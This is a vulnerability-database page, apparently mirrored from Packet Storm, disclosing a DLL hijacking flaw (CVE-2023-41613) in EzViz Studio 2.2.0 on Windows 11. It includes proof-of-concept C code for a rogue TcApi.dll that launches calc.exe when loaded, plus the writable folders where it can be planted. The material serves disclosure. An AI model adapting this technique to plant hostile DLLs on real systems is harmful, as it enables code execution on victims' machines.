Lucene search
K

EzViz Studio 2.2.0 DLL Hijacking

🗓️ 15 Nov 2023 00:00:00Reported by EAFZType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 583 Views

EzViz Studio 2.2.0 DLL Hijacking on Windows 11 Pro 64 bi

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2023-41613
4 Dec 202314:15
attackerkb
Circl
CVE-2023-41613
23 Dec 202309:41
circl
CNNVD
EZVIZ Studio Security Vulnerability
4 Dec 202300:00
cnnvd
CVE
CVE-2023-41613
4 Dec 202300:00
cve
Cvelist
CVE-2023-41613
4 Dec 202300:00
cvelist
EUVD
EUVD-2023-46107
3 Oct 202520:07
euvd
NVD
CVE-2023-41613
4 Dec 202314:15
nvd
Prion
Hardcoded credentials
4 Dec 202314:15
prion
RedhatCVE
CVE-2023-41613
23 May 202504:15
redhatcve
Vulnrichment
CVE-2023-41613
4 Dec 202300:00
vulnrichment
Rows per page
`PoC:  
  
*DLL Hijacking via EzViz Studio (Reported by EAFZ from Pythongoras)*  
  
*Author: EAFZ aka myantti3m*  
  
*CVE: **CVE**-2023-41613.*  
  
*Test Environment:*  
  
OS: Windows 11 Pro 64 bit(10.0, Build 2261)  
  
EzViz Studio version: 2.2.0  
  
*Technical Description *  
  
*1. **Technical Description *  
  
EzvizStudio.exe searches for a DLL called TcApi.dll. Because TcApi.dll  
doesn’t exist in any of the paths of the DLL search order. In particular,  
some paths have writable permissions for normal users as:  
  
· C:\Users\<Username>\AppData\Local\Programs\Microsoft VS  
Code\bin\TcApi.dll  
  
· C:\Users\<Username>\AppData\Local\Microsoft\WindowsApps\TcApi.dll  
  
So we can plant “malicious” TcApi.dll inside these directories and wait  
until the application will load it.  
  
*POC*  
  
We created a malicious DLL file (TcApi.dll) and complied it. In our case,  
it opens calc.exe. You can see the code below:  
  
#include <windows.h>  
  
#pragma comment (lib, "user32.lib")  
  
#include "pch.h"  
  
#include <iostream>  
  
#include <stdlib.h>  
  
BOOL APIENTRY DllMain(HMODULE hModule,  
  
DWORD nReason, LPVOID lpReserved) {  
  
switch (nReason) {  
  
case DLL_PROCESS_ATTACH:  
  
system("calc.exe");  
  
  
  
break;  
  
case DLL_PROCESS_DETACH:  
  
break;  
  
case DLL_THREAD_ATTACH:  
  
break;  
  
case DLL_THREAD_DETACH:  
  
break;  
  
}  
  
return TRUE;  
  
}  
  
Copy “malicious” TcApi.dll to  
  
C:\Users\<Username>\AppData\Local\Microsoft\WindowsApps\TcApi.dll  
  
If we run the EzVizStudio again, the code from the “malicious” DLL runs  
  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Nov 2023 00:00Current
7.4High risk
Vulners AI Score7.4
EPSS0.00289
583